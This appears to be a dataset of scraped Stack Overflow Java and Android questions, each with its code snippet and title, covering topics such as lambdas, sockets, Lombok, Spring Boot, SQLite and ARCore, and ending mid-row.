class Person { private String name ; Map < String , Integer > Skills=new HashMap < > ( ) ; // skill name ( String ) and level ( int ) public String getName ( ) { return this.name ; } public Map < String , Integer > getSkills ( ) { return this.Skills ; } } import java.util . * ; import java.util.Map.Entry ; import static java.util.stream.Collectors . * ; import static java.util.Comparator . * ; public class App { private List < Person > people=new ArrayList < > ( ) ; // the people in the company public Map < String , Set < String > > PeoplePerSkill ( ) { return this.people.stream ( ) .collect ( groupingBy ( p- > p.getSkills ( ) .keySet ( ) // < -get //^problem here , mapping ( Person : :getName , toSet ( ) ) ) ) ; } }",Stuck with lambda expression and Map +Java,"The Java 8 coding style preferred by my colleagues is chaining asynchronous calls all the way through , e.g.I have something like the above , but with an added challenge : I need to recall values retrieved within some of the lambdas , in later lambdas . For example , When I declare Foo foo ; and Bar bar ; in the outside scope , I get errors about them not being final or effectively final . And I read about using a wrapper to make them effectively final , but it seems rather hacky to me to do this ( I do n't understand why that 's allowed ... ) I read that Java 8 did n't add support for tuples ( though it considered BiVal , which maybe I could have used to pass to BiFunction lambdas ) . So I tried using pairs , e.g.and then wherever I needed to recall foo , But this feels so semantically wrong . Also , it does n't work ! I do n't know why , because I thought a lambda parameter 's scope is the same as its outside scope , and so all lambda parameters would be accessible from within later-chained lambdas.What really is the scope of lambda parameters , and is there an idiomatic or at least semantically unoffensive way to do what I 'd like to do while keeping the chaining ? Answers based on breaking the chain are fine as they may be useful for future viewers , but in my case , deviations from the dominant style in this repo may result in drawn out PR conversations and delayed approval , so I 'd love a solution that preserves the chaining . Or , an explanation or demonstration as to how insane it would be to try to keep the chaining . Thank you !","CompletionStage < E > someMethod ( ) { return doSomething ( ) .thenCompose ( a - > { // ... return b ; } ) .thenCompose ( b - > { // ... return c ; } ) .thenCompose ( c - > { // ... return d ; } ) .thenApply ( d - > { // ... return e ; } ) ; } CompletionStage < E > someMethod ( ) { return doSomething ( ) .thenCompose ( a - > { // ... Foo foo = fooDAO.getFoos ( a ) ; // ... return b ; } ) .thenCompose ( b - > { // ... return c ; } ) .thenCompose ( c - > { // ... Bar bar = barDAO.getBars ( foo ) ; // ... return d ; } ) .thenApply ( d - > { // ... return someResult ( d , bar ) ; } ) ; } return doSomething ( ) .thenCompose ( a - > { // ... Foo foo = fooDAO.getFoos ( a ) ; // ... return new Pair < > ( foo , b ) ; } ) .thenCompose ( fooAndB - > { Foo foo = fooAndB.getKey ( ) ;",Using values from previously chained thenCompose lambdas in Java 8 +Java,"Using the default socket implementation on Windows , I was not able to find any effective method to stop Socket.connect ( ) . This answer suggests Thread.interrupt ( ) will not work , but Socket.close ( ) will . However , in my trial , the latter did n't work either.My goal is to terminate the application quickly and cleanly ( i.e . clean up work needs to be done after the socket termination ) . I do not want to use the timeout in Socket.connect ( ) because the process can be killed before a reasonable timeout has expired.Output :","import java.net.InetSocketAddress ; import java.net.Socket ; public class ComTest { static Socket s ; static Thread t ; public static void main ( String [ ] args ) throws Exception { s = new Socket ( ) ; InetSocketAddress addr = new InetSocketAddress ( `` 10.1.1.1 '' , 11 ) ; p ( addr ) ; t = Thread.currentThread ( ) ; ( new Thread ( ) { @ Override public void run ( ) { try { sleep ( 4000 ) ; p ( `` Closing ... '' ) ; s.close ( ) ; p ( `` Closed '' ) ; t.interrupt ( ) ; p ( `` Interrupted '' ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } } ) .start ( ) ; s.connect ( addr ) ; } static void p ( Object o ) { System.out.println ( o ) ; } } /10.1.1.1:11Closing ... ClosedInterrupted ( A few seconds later ) Exception in thread `` main '' java.net.SocketException : Socket operation on nonsocket : connect",Socket.close ( ) have no effect during Socket.connect ( ) +Java,"Please take a look at this code android sample : In this case since the value of aBoolean is false and that it ca n't change at runtime , would the //do something like logs statement be ignored by on build or will it be still be build and each time it will evaluate the if ? I 'm trying to find a behavior like pre processor # DEFINE # IF ... so that when I 'm coding I get my logs , when I release I switch one value and all my debug code gets completely ignored . ( also I would like to point out that my question is android oriented so if there is a difference between Java and Android on this matter please let me know )",private static final boolean aBoolean = false ; ... if ( aBoolean ) { //do something like logs },Java/Android code optimization : Does Java remove unreachable code on build +Java,"I 'm using lombok and trying to minimize code . Here 's my ( contrived ) situation in vanilla java : But I want to use lombok to generate the constructor and getters : To get the computation into the class , you might consider an instance block : but instance blocks are executed before code in the constructor executes , so x wo n't be initialized yet.Is there a way to execute sqrt = ( int ) Math.sqrt ( x ) ; after x is assigned with the constructor argument , but still use the constructor generated by RequiredArgsConstructor ? Notes : Coding the computation in the getter is not an option ( for one , it negates the benefit of using @ Getter ) This example is a gross simplification of the real life class , which has many final fields , and several computed/derived fields , so the boilerplate savings using lombok are considerableThe class is a simple POJO DTO , not a managed bean , so none of the lifecycle javax annotations ( e.g . @ PostConstruct ) are of any use","public class MyClass { private final int x ; private final int sqrt ; public MyClass ( int x ) { this.x = x ; sqrt = ( int ) Math.sqrt ( x ) ; } // getters , etc } @ Getter @ RequiredArgsConstructorpublic class MyClass { private final int x ; private int sqrt ; } { sqrt = ( int ) Math.sqrt ( x ) ; }",Is there a way to execute a method during construction but after the constructor ? +Java,"From JDK8 's Comparator.java : Notice the return statement is prefixed with an interesting cast : ( Comparator < T > & Serializable ) I am already aware of and ( I think ) understand : the & operator in generic type restrictions ( and can infer its purpose here ) , the Serializable interface.However , used together in the cast is baffling to me.What is the purpose of & Serializable if the return type does not require it ? I do not understand the intent.Follow-up to dupe/close requests : This question How to serialize a lambda ? does not answer question . My question specifically notes the return type has no mention of Serializable , thus the source of my confusion .","public static < T , U extends Comparable < ? super U > > Comparator < T > comparing ( Function < ? super T , ? extends U > keyExtractor ) { Objects.requireNonNull ( keyExtractor ) ; return ( Comparator < T > & Serializable ) ( c1 , c2 ) - > keyExtractor.apply ( c1 ) .compareTo ( keyExtractor.apply ( c2 ) ) ; }",Why does Java 8 's Comparator.comparing ( ) cast the return value to Serializable ? +Java,"I wrote a custom TextView for persian String , this TextView should replace english digit 's to persian digit'sthis View work correctly , but if i set a text from HTML , the links which contain english digits will not show as link ! what is the easiest way to solve problem ?","public class PersianTextView extends TextView { public PersianTextView ( Context context ) { super ( context ) ; } public PersianTextView ( Context context , AttributeSet attrs ) { super ( context , attrs ) ; } public PersianTextView ( Context context , AttributeSet attrs , int defStyleAttr ) { super ( context , attrs , defStyleAttr ) ; } @ Override public void setText ( CharSequence text , BufferType type ) { String t = text.toString ( ) ; t = t.replaceAll ( `` 0 '' , `` ۰ '' ) ; t = t.replaceAll ( `` 1 '' , `` ۱ '' ) ; t = t.replaceAll ( `` 2 '' , `` ۲ '' ) ; t = t.replaceAll ( `` 3 '' , `` ۳ '' ) ; t = t.replaceAll ( `` 4 '' , `` ۴ '' ) ; t = t.replaceAll ( `` 5 '' , `` ۵ '' ) ; t = t.replaceAll ( `` 6 '' , `` ۶ '' ) ; t = t.replaceAll ( `` 7 '' , `` ۷ '' ) ; t = t.replaceAll ( `` 8 '' , `` ۸ '' ) ; t = t.replaceAll ( `` 9 '' , `` ۹ '' ) ; super.setText ( ( CharSequence ) t , type ) ; } }",Replace english digit with persian digit in String except URL 's +Java,Is it considered bad practice to have multiple try 's in one method and structure the code like this ?,public void whatever ( ) { try { methodThatMayThrowIOException ( ) ; } catch ( IOException io ) { // do something with exception here } // do more stuff here that wo n't throw exceptions try { methodThatMayThrowCustomException ( ) ; } catch ( CustomException ce ) { // do something with custom exception here } },Is this sort of Java exception style bad practice ? +Java,"In our Android mobile application ( compatible with Android versions 4.0 and upper ) , we use Google Maps API V2.We get some bug reports from users on some kinds of devices ( Android versions 4.3 , 4.4 and 5.0 ) with a NullPointerException in setBoundsInParent method of android.view.accessibility.AccessibilityNodeInfo class.The application crashes when the user tries to move or to zoom on the map.The problem only appears for some users - devices . Most of our customers do not have that problem.The problem seems to come from the use of the setPadding method of Google Maps API to position the Google logo so that it is always clearly visible on the map : Removing the call to the setPadding method seems to resolve the problem for affected users but it is not a valid solution for us because we need to position the Google logo with this method . We can not reproduce this problem on our development devices , so it 's difficult for us to find the real origin of this problem.You will find the full stacktraces of the bug below.Does someone have an idea ? Thanks a lot in advance for your answer.Best regards.Stacktrace on Android 4.3 - 4.4Stacktrace on Android 5.0","@ Overrideprotected void onCreate ( Bundle savedInstanceState ) { ... // Initialize map ... // Sets the padding for the map if ( mMap ! =null ) { mMap.setPadding ( 0 , DPI.toPixels ( 100 ) , 0 , DPI.toPixels ( 100 ) ) ; } ... } java.lang.NullPointerExceptionat android.view.accessibility.AccessibilityNodeInfo.setBoundsInParent ( AccessibilityNodeInfo.java:1012 ) at android.support.v4.view.a.k.c ( SourceFile:819 ) at android.support.v4.view.a.i.b ( SourceFile:1850 ) at com.google.maps.api.android.lib6.c.et.a ( Unknown Source ) at android.support.v4.widget.ab.a ( SourceFile:56 ) at android.support.v4.widget.ac.a ( SourceFile:717 ) at android.support.v4.view.a.x.a ( SourceFile:112 ) at android.support.v4.view.a.ad.createAccessibilityNodeInfo ( SourceFile:42 ) at android.view.AccessibilityInteractionController $ AccessibilityNodePrefetcher.prefetchAccessibilityNodeInfos ( AccessibilityInteractionController.java:724 ) at android.view.AccessibilityInteractionController.findAccessibilityNodeInfoByAccessibilityIdUiThread ( AccessibilityInteractionController.java:147 ) at android.view.AccessibilityInteractionController.access $ 300 ( AccessibilityInteractionController.java:49 ) at android.view.AccessibilityInteractionController $ PrivateHandler.handleMessage ( AccessibilityInteractionController.java:971 ) at android.os.Handler.dispatchMessage ( Handler.java:106 ) at android.os.Looper.loop ( Looper.java:136 ) at android.app.ActivityThread.main ( ActivityThread.java:5212 ) at java.lang.reflect.Method.invokeNative ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:515 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:786 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:602 ) at dalvik.system.NativeStart.main ( Native Method ) java.lang.NullPointerException : Attempt to read from field 'int android.graphics.Rect.left ' on a null object referenceat android.view.accessibility.AccessibilityNodeInfo.setBoundsInParent ( AccessibilityNodeInfo.java:1316 ) at android.support.v4.view.a.k.c ( SourceFile:819 ) at android.support.v4.view.a.i.b ( SourceFile:1850 ) at com.google.maps.api.android.lib6.c.et.a ( Unknown Source ) at android.support.v4.widget.ab.a ( SourceFile:56 ) at android.support.v4.widget.ac.a ( SourceFile:717 ) at android.support.v4.view.a.x.a ( SourceFile:112 ) at android.support.v4.view.a.ad.createAccessibilityNodeInfo ( SourceFile:42 ) at android.view.AccessibilityInteractionController $ AccessibilityNodePrefetcher.prefetchAccessibilityNodeInfos ( AccessibilityInteractionController.java:894 ) at android.view.AccessibilityInteractionController.findAccessibilityNodeInfoByAccessibilityIdUiThread ( AccessibilityInteractionController.java:155 ) at android.view.AccessibilityInteractionController.access $ 400 ( AccessibilityInteractionController.java:53 ) at android.view.AccessibilityInteractionController $ PrivateHandler.handleMessage ( AccessibilityInteractionController.java:1236 ) at android.os.Handler.dispatchMessage ( Handler.java:102 ) at android.os.Looper.loop ( Looper.java:135 ) at android.app.ActivityThread.main ( ActivityThread.java:5221 ) at java.lang.reflect.Method.invoke ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:372 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:899 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:694 )",Google Maps API Android - NullPointerException - setBoundsInParent +Java,"Playing with Java ( v9 specifically ) I found this situation : That program flow should cause a StackOverflow error , however , I 'm getting a NoClassDefFoundError.According to JavadocClass NoClassDefFoundErrorThrown if the Java Virtual Machine or a ClassLoader instance tries to load in the definition of a class ( as part of a normal method call or as part of creating a new instance using the new expression ) and no definition of the class could be found.The searched-for class definition existed when the currently executing class was compiled , but the definition can no longer be found.This is a weird error message , is it a bug ? UPDATE : Bug Report Id : 9052375Executed from the command line and prints the expected error : The problem was , the exceptions used in catch .",import java.lang.reflect.InvocationTargetException ; import java.lang.reflect.Method ; interface A { static A staticMethod ( ) { try { Method method = A.class.getDeclaredMethods ( ) [ 0 ] ; return ( A ) method.invoke ( null ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } return null ; } } public class Test { public static void main ( String [ ] args ) { A.staticMethod ( ) ; } } *** java.lang.instrument ASSERTION FAILED *** : `` ! errorOutstanding '' with message transform method call failed at JPLISAgent.c line : 880*** java.lang.instrument ASSERTION FAILED *** : `` ! errorOutstanding '' with message transform method call failed at JPLISAgent.c line : 880*** java.lang.instrument ASSERTION FAILED *** : `` ! errorOutstanding '' with message transform method call failed at JPLISAgent.c line : 880Exception in thread `` main '' Exception : java.lang.NoClassDefFoundError thrown from the UncaughtExceptionHandler in thread `` main '',Why am I getting a NoClassDefFoundError exception rather than a StackOverflow error ? +Java,"When using swagger 2.0 , the java.util.Currency class got generated as a seperate definition . But when we generate OpenAPI 3.0 , we run into the issue that swagger-core generates it as a property.Generation of the OpenAPI 3.0 specification from the classesWe have f.e . this class : From this code we generate the openapi specification with the following plugin configuration : When generated this will result in this component definition : Generation of the classes from the OpenAPI 3.0 specificationWe then then generate the classes in another project with the following plugin : The code to generate the classes form this openapi specification : This will result in a class named WrapperCurrency . The -- import-mappings option does not seem to work since it 's a property and not a schema . This would work if the Currency would be generated as a seperate Schema definition . Desired resultIs there any way to either , annotate the property in such a way that the java.util.Currency will be generated as a schema ? something along the lines of : Or is there a way to bind the -- import-mappings option to a property instead of the object ?",import java.util.Currency ; public class Wrapper { private Currency currency ; } < plugin > < groupId > io.swagger.core.v3 < /groupId > < artifactId > swagger-maven-plugin < /artifactId > < version > 2.0.9 < /version > < configuration > < outputFileName > openapi < /outputFileName > < outputFormat > YAML < /outputFormat > < outputPath > ... . < /outputPath > < resourcePackages > ... < /resourcePackages > < /configuration > < executions > < execution > < phase > compile < /phase > < goals > < goal > resolve < /goal > < /goals > < /execution > < /executions > < /plugin > components : schemas : Wrapper : type : `` object '' properties : currency : type : object properties : currencyCode : type : string defaultFractionDigits : type : integer format : int32 numericCode : type : integer format : int32 displayName : type : string symbol : type : string < plugin > < groupId > org.openapitools < /groupId > < artifactId > openapi-generator-maven-plugin < /artifactId > < version > 3.2.0 < /version > < executions > < execution > < id > openapi-generation < /id > < goals > < goal > generate < /goal > < /goals > < configuration > < inputSpec > $ { project.basedir } /src/main/resources/swagger.yaml < /inputSpec > < language > java < /language > < library > jersey2 < /library > < generateSupportingFiles > false < /generateSupportingFiles > < configOptions > < booleanGetterPrefix > is < /booleanGetterPrefix > < dateLibrary > threetenbp < /dateLibrary > < import-mappings > Currency=java.util.Currency < /import-mappings > < /configOptions > < generateApis > false < /generateApis > < generateApiDocumentation > false < /generateApiDocumentation > < generateModelTests > false < /generateModelTests > < generateModelDocumentation > false < /generateModelDocumentation > < /configuration > < /execution > < /executions > < /plugin > components : schemas : Wrapper : type : `` object '' properties : currency : $ ref : `` components/schemas/Currency '' Currency : type : object properties : currencyCode : type : string defaultFractionDigits : type : integer format : int32 numericCode : type : integer format : int32 displayName : type : string symbol : type : string,Generate a property as schema definition in OpenApi 3.0 +Java,"Is it possible to implement autoboxing for your own classes ? To illustrate my example , this is what I might want to write : And this is what Java would do ( as per my own definitions , somewhere , somehow ) , under the hood : So , is this possible somehow , or is it a JVM-feature only ?",Foo foo = `` lolcat '' ; Foo foo = new Foo ( ) ; foo.setLolcat ( `` lolcat '' ) ;,Userland autoboxing ? +Java,"I 'm building a management application to help manage my mobile auto detailing company ( and hopefully others ) . I 'm struggling to figure out how to model some of the data.This question is related to a previous question that I 've posted , but I 've reproduced the relevant information below : Database design - google app engineIn this application , there are concepts of `` Appointments '' and `` Line Items . `` Appointments are a place and time where employees are expected to be in order to deliver a service.Line Items are a service , fee or discount and its associated information . An example of line items that might go into an appointment : In my previous implementation of this application , Line Items were contained by a single appointment . This worked fine most of the time , but caused problems sometimes . An example would be if an appointment got interrupted half-way through because of rain and the technician had to come back out the next day and finish up . This situation required two appointments for the same line item . In cases like this , I would just fudge the data a little by setting the `` line item '' on the second appointment to read something like `` Finish Up '' and then the cost would be $ 0.In this next version , I am considering enabling Line Items to be matched with more than one appointment with a table structure that looks like this : A general problem with this structure is that it is complicated and I 'm not even sure if its appropriate to match one line item with multiple appointments . If Line Items can only be part of one Appointment , then I can actually just put a list of line items IN each Appointment , when I get Appointments , I 'd already be getting Line Items.A more specific problem is that I am using google app engine and if I want to query for a set of appointments and their associated line items , I 'd have to first query for the set of appointments and then do a second query for the line items using the IN operator to test if any of the Line_Item 's appointment keys fall into the set of appointment keys the were returned from the previous query . The second query will fail if I have more than 30 keys requiring me to shard the query . I could denormalize the data to avoid this complicated and extensive read query , and I will probably have to denormalize to some degree anyway , but I 'd rather avoid complexity where appropriate.My question is how is this type of situation usually modeled ? Is it even appropriate for a Line Item to be paired with more than one appointment , or is it normal to simply split line items into separate ones for each appointment such as `` 1st half of 2 day job '' and `` 2nd half of two day job . '' How do similar successful applications do this ? What are the rules of thumb in this type of situation ? What implementations have turned out to be less problematic ? Thanks !","Name : Price : Commission : Time estimate Full Detail , Regular Size : 160 75 3.5 hours $ 10 Off Full Detail Coupon : -10 0 0 hours Premium Detail : 220 110 4.5 hours Derived totals ( not a line item ) : $ 370 $ 185 8.0 hours Appointment start_time etc ... Line_Item appointment_Key_List name price etc ...",Appointments and Line Items +Java,"For example , we have a simple class with some fields . Let 's assume , we have fields called 'name ' and 'id ' . And I want to get name of an object with specified id and return some defaultName , if there is no such object : My question is how can I easily make this check on null in a stream in one line ?",private List < MyObject > myObjects ; public String findFieldById ( int id ) { MyObject matchingObj = myObjects.stream ( ) .filter ( m - > m.getId ( ) == id ) .findFirst ( ) .orElse ( null ) ; return ( matchingObj == null ) ? `` defaultName '' : matchingObj.getName ( ) ; },Java stream API . Find field of an object matching predicate in one line . Return some default value if not exists +Java,"I have always felt that in general the main work of a class should be done in its instance methods , while the constructor should only get the instance into a usable inital state.But I find that in practice there are situations where it seems to make more sense to put essentially all the actual work into the constructor.One example : I need to retrieve some DBMS-specific information from the database . The most natural way to me seemed to have a class DBMSSpecInfo , with a constructor : You would construct the class once , the constructor would fetch all data , then you could use various getters to retrieve the info you need.Of course I could put the method somewhere else , and only use DBMSSpecInfo for the return value ( essentially using DBMSSpecInfo only as a value holder ) , but it feels ugly to create a class just for returning values from a single function.So what do you think ? Are there problems with performing the main work in the constructor ? Is it `` un-idiomatic '' in Java ? Or is it an acceptable ( though possibly uncommon ) practice ?",public DBMSSpecInfo ( java.sql.Connection conn ) throws SQLException { // ... retrieve info from DBMS } /** @ returns max size of table in kiB */public int getMaxTableSize ( ) { // ... } /** @ returns max size of index in kiB */public int getMaxIndexSize ( ) { // ... } /** @ returns name of default schema */public String getDefaultSchema ( ) { // ... },Any problem with doing the main work of a class in its constructor ? +Java,"I am trying to create a fat jar using spring-boot plugin . But it keeps giving me NoClassDefFound exception.I have the following in my pom : I package it using , i also tried When I try to run it later withIt gives me the following exceptionI tried everything i 've found online as a solution and it does n't work .",< dependencies > < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-web < /artifactId > < /dependency > < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-devtools < /artifactId > < /dependency > < dependency > < groupId > org.apache.httpcomponents < /groupId > < artifactId > httpclient < /artifactId > < /dependency > < dependency > < groupId > org.apache.httpcomponents < /groupId > < artifactId > httpmime < /artifactId > < /dependency > < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-test < /artifactId > < scope > test < /scope > < /dependency > < /dependencies > < build > < plugins > < plugin > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-maven-plugin < /artifactId > < configuration > < fork > true < /fork > < mainClass > $ { start-class } < /mainClass > < /configuration > < executions > < execution > < goals > < goal > repackage < /goal > < /goals > < /execution > < /executions > < /plugin > < /plugins > < /build > mvn clean package spring-boot : repackage mvn clean install spring-boot : repackage java -jar myapp.jar Exception in thread `` main '' java.lang.NoClassDefFoundError : org/springframework/boot/devtools/filewatch/FileChangeListener at java.lang.Class.getDeclaredMethods0 ( Native Method ) at java.lang.Class.privateGetDeclaredMethods ( Unknown Source ) at java.lang.Class.getDeclaredMethod ( Unknown Source ) at org.springframework.boot.loader.MainMethodRunner.run ( MainMethodRunner.java:47 ) at org.springframework.boot.loader.Launcher.launch ( Launcher.java:87 ) at org.springframework.boot.loader.Launcher.launch ( Launcher.java:50 ) at org.springframework.boot.loader.JarLauncher.main ( JarLauncher.java:51 ) Caused by : java.lang.ClassNotFoundException : org.springframework.boot.devtools.filewatch.FileChangeListener at java.net.URLClassLoader.findClass ( Unknown Source ) at java.lang.ClassLoader.loadClass ( Unknown Source ) at org.springframework.boot.loader.LaunchedURLClassLoader.loadClass ( LaunchedURLClassLoader.java:93 ) at java.lang.ClassLoader.loadClass ( Unknown Source ) ... 7 more,Spring DevTools not included in the fat jar packaged with spring-boot-maven-plugin +Java,"I 'm using Spring Boot 1.5.7 , Spring JPA , Hibernate validation , Spring Data REST , Spring HATEOAS.I 've a simple bean like this : As you can see I 'm using @ NotBlank . According to Hibernate documentation the validation should be made on pre-persist and pre-update.I created a junit test : this test works fine and therefore the validation process happens correctly . Instead in this test case , the validation does n't work : I found another similar question but unfortunately there is n't any reply.Why the validation is not made on update ( ) method ? Advice to solve the problem ?",@ Entitypublic class Person { @ Id @ GeneratedValue private Long id ; @ NotBlank private String name ; } @ Test ( expected = ConstraintViolationException.class ) public void saveWithEmptyNameThrowsException ( ) { Person person = new Person ( ) ; person.setName ( `` '' ) ; personRepository.save ( person ) ; } @ Test ( expected = ConstraintViolationException.class ) public void saveWithEmptyNameThrowsException ( ) { Person person = new Person ( ) ; person.setName ( `` Name '' ) ; personRepository.save ( person ) ; person.setName ( `` '' ) ; personRepository.save ( person ) ; },Spring JPA does n't validate bean on update +Java,"I 'm working on Android AR project using ARCore and Sceneform . I need to place the objects from 30 meters to 200 meters far from user 's camera and faced with the frustum culling issue in ArCore , described HERE.I 'm trying to set projection matrix to increase the far parameter using this method But I ca n't find possibility to set the rendering projection matrix.Here is my code : setProjectionMatrix method contains annotation VisibleForTesting . So , I 'm not sure if I should use it and there is a guarantee that it will work.Please , advice if I can do it in some other way ? If no , what the best way to do far placed objects visible for user ? Thank you in advance .","public void getProjectionMatrix ( float [ ] dest , int offset , float near , float far ) ; arFragment.arSceneView.apply { scene.addOnUpdateListener { // Some code to return from this callback if arFrame is not initialised yet if ( ! objectsAdded ) { placeObject ( Pose.makeTranslation ( 0f , 100f , 100f ) , this ) objectsAdded = true scene.camera.projectionMatrix = Matrix ( computeProjectionMatrix ( frame.camera ) ) // P.S . frame.camera is ArCore 's camera , scene.camera is Sceneform 's one . // So , I 'm not sure that using them in such way is consistent } } }",ARCore – Rendering objects 200m far from camera +Java,"I am looking for some util class/method to take a large String and return an InputStream.If the String is small , I can just do : But when the String is large ( 1MB , 10MB or more ) , a byte array 1 to 2 times ( or more ? ) as large as my String is allocated on the spot . ( And since you wo n't know how many bytes to allocate exactly before all the encoding is done , I think there must be other arrays/buffers allocated before the final byte array is allocated ) .I have performance requirements , and want to optimize this operation.Ideally I think , the class/method I am looking for would encode the characters on the fly one small block at a time as the InputStream is being consumed , thus no big surge of mem allocation.Looking at the source code of apache commons IOUtils.toInputStream ( .. ) , I see that it also converts the String to a big byte array in one go.And StringBufferInputStream is Deprecated , and does not do the job properly.Is there such util class/method from anywhere ? Or I can just write a couple of lines of code to do this ? The functional need for this is that , elsewhere , I am using a util method that takes an InputStream and stream out the bytes from this InputStream.I have n't seem other people looking for something like this . Am I mistaking something somewhere ? I have started writing a custom class for this , but would stop if there is a better/proper/right solution/correction to my need .",InputStream is = new ByteArrayInputStream ( str.getBytes ( < charset > ) ) ;,Any util class/method to take a large String and return an InputStream ? +Java,"I have three tables : log , activity and the jointable ( many2many ) log_activity ( with log_id and activity_id + additional info data as columns ) .I want to delete from log and log_activity.I want to keep all logs from a specific user and only keep 100 rows from other users.That means I want to delete all rows that match a WHERE log.user_id ! = 1 , but the last 100 ( ORDER BY log.timestamp DESC ) .I also want to delete from the jointable log_activity all entries that are related to the logs which get deleted . The activity table should not be touched.I think that db.delete ( TABLE_NAME , whereClause , whereArgs ) ; is not helpful in this case..So is someone able to come up with an efficient solution ? UPDATE UPDATE UPDATE UPDATE UPDATE UPDATE UPDATE UPDATE UPDATEInspired by the answers of Jacob Eggers and plafond and by further research I am trying like this now , but it does not work yet : Now for the android part : output : This means the DELETE operation it self is fine ( I also checked that the correct rows are deleted which solves the first issue ! ! ) , but ON DELETE CASCADE does not work ... why ?","CREATE TABLE IF NOT EXISTS log ( _id INTEGER PRIMARY KEY AUTOINCREMENT , user_id INTEGER NOT NULL , timestamp LONG NOT NULL ) ; CREATE TABLE IF NOT EXISTS log_activity ( _id INTEGER PRIMARY KEY AUTOINCREMENT , log_id INTEGER NOT NULL , activity_id INTEGER NOT NULL , points INTEGER NOT NULL , FOREIGN KEY ( log_id ) REFERENCES log ( _id ) ON DELETE CASCADE , FOREIGN KEY ( activity_id ) REFERENCES activity ( _id ) ON DELETE CASCADE ) ; SQLiteDatabase db = openHelper.getWritableDatabase ( ) ; db.execSQL ( `` PRAGMA foreign_keys = ON ; '' ) ; db.execSQL ( CREATE_LOG ) ; // see sql abovedb.execSQL ( CREATE_ACTIVITY ) ; // not shown here , but like the sql-creates abovedb.execSQL ( CREATE_LOG_ACTIVITY ) ; // see sql above// ... insert some data ... INSERT INTO `` log '' VALUES ( 1,1,1307797289000 ) ; INSERT INTO `` log '' VALUES ( 2,1,1307710289000 ) ; INSERT INTO `` log '' VALUES ( 3,2,1308089465000 ) ; INSERT INTO `` log '' VALUES ( 4,2,1308079465000 ) ; INSERT INTO `` log_activity '' VALUES ( 1,1,1,1 ) ; INSERT INTO `` log_activity '' VALUES ( 2,1,2,2 ) ; INSERT INTO `` log_activity '' VALUES ( 3,2,1,1 ) ; INSERT INTO `` log_activity '' VALUES ( 4,2,2,2 ) ; INSERT INTO `` log_activity '' VALUES ( 5,3,1,1 ) ; INSERT INTO `` log_activity '' VALUES ( 6,3,2,2 ) ; INSERT INTO `` log_activity '' VALUES ( 7,4,1,1 ) ; INSERT INTO `` log_activity '' VALUES ( 8,4,2,2 ) ; // check count of logsCursor c = db.query ( false , `` log '' , null , null , null , null , null , `` _id asc '' , null ) ; android.util.Log.d ( `` TEST '' , `` log count before : `` +c.getCount ( ) ) ; // check count of log_activitiesCursor c2 = db.query ( false , `` log_activity '' , null , null , null , null , null , `` _id asc '' , null ) ; android.util.Log.d ( `` TEST '' , `` la count before : `` +c2.getCount ( ) ) ; // delete some log-rowslong userId = 1 ; int keepXLogsOfOthers = 1 ; String del = `` DELETE FROM log '' + `` WHERE user_id ! = `` + userId + `` AND log._id NOT IN ( `` + `` SELECT _id '' + `` FROM ( `` + `` SELECT _id '' + `` FROM log '' + `` WHERE user_id ! = `` + userId + `` ORDER BY timestamp DESC '' + `` LIMIT `` + keepXLogsOfOthers + `` ) logs_of_others_to_keep '' + `` ) ; '' ; db.execSql ( del ) ; // check count of logsCursor c3 = db.query ( false , `` log '' , null , null , null , null , null , `` _id asc '' , null ) ; android.util.Log.d ( `` TEST '' , `` log count after : `` +c3.getCount ( ) ) ; // check count of log_activitiesCursor c4 = db.query ( false , `` log_activity '' , null , null , null , null , null , `` _id asc '' , null ) ; android.util.Log.d ( `` TEST '' , `` la count after : `` +c4.getCount ( ) ) ; 06-16 10:40:01.748 : DEBUG/TEST ( 451 ) : log count before : 406-16 10:40:01.748 : DEBUG/TEST ( 451 ) : la count before : 806-16 10:40:01.828 : DEBUG/TEST ( 451 ) : log count after : 306-16 10:40:01.838 : DEBUG/TEST ( 451 ) : la count after : 8",SQL delete from one table + a jointable ? +Java,I have a java optional object that I only want to get if it 's present . The obvious code here is : But I want to see if I can steamline that to 1 line with the ifPresent method . I do n't want it to write at all if it 's not present . I tried something like this : But that clearly did n't work . Is there any way to do what I want ? Everything I 've researched online only shows the use of ifPresent with a method call for the predicate.Edit 1 : I tried Tunaki 's solution but I am getting the following error : Here 's my entire block of code : I even tried : But it still gives me the error .,"JsonGenerator gen ; if ( value.isPresent ( ) ) { gen.writeObject ( value.get ( ) ) ; } gen.writeObject ( value.ifPresent ( a - > a ) ) ; Error : ( 25 , 46 ) java : incompatible thrown types java.io.IOException in method reference public class FooSerializer extends JsonSerializer < Foo > { @ Override public void serialize ( Foo value , JsonGenerator gen , SerializerProvider serializers ) throws IOException { value.getFooA ( ) .ifPresent ( gen : :writeObject ) ; } } public class FooSerializer extends JsonSerializer < Foo > { @ Override public void serialize ( Foo value , JsonGenerator gen , SerializerProvider serializers ) throws IOException { try { value.getContactInfo ( ) .ifPresent ( gen : :writeObject ) ; } catch ( IOException e ) { throw new UncheckedIOException ( e ) ; } } }",Java Optional Get if Present +Java,"I use activity recognition api and activity transitions . When I first run the app , the first transition is always the . In this app it 's WALKING-ENTER . When I tried with only IN_VEHICLE-ENTER and IN_VEHICLE-EXIT in transitions , it was IN_VEHICLE-ENTER . I thought about ignoring the first transition but a device I 've tested on did n't have such a problem . The devices that had these problem were Android 8.1 , and the device did n't have the problem was 6.0.MainActivity extends AppCompatActivityServiceS extends ServiceTransitionReceiver extends BroadcastReceiver .","private static Intent serviceIntent ; @ Overrideprotected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; int PERMISSION_ALL = 1 ; String [ ] PERMISSIONS = { Manifest.permission.ACCESS_COARSE_LOCATION , Manifest.permission.ACCESS_FINE_LOCATION } ; if ( ! hasPermissions ( this , PERMISSIONS ) ) { ActivityCompat.requestPermissions ( this , PERMISSIONS , PERMISSION_ALL ) ; } Button 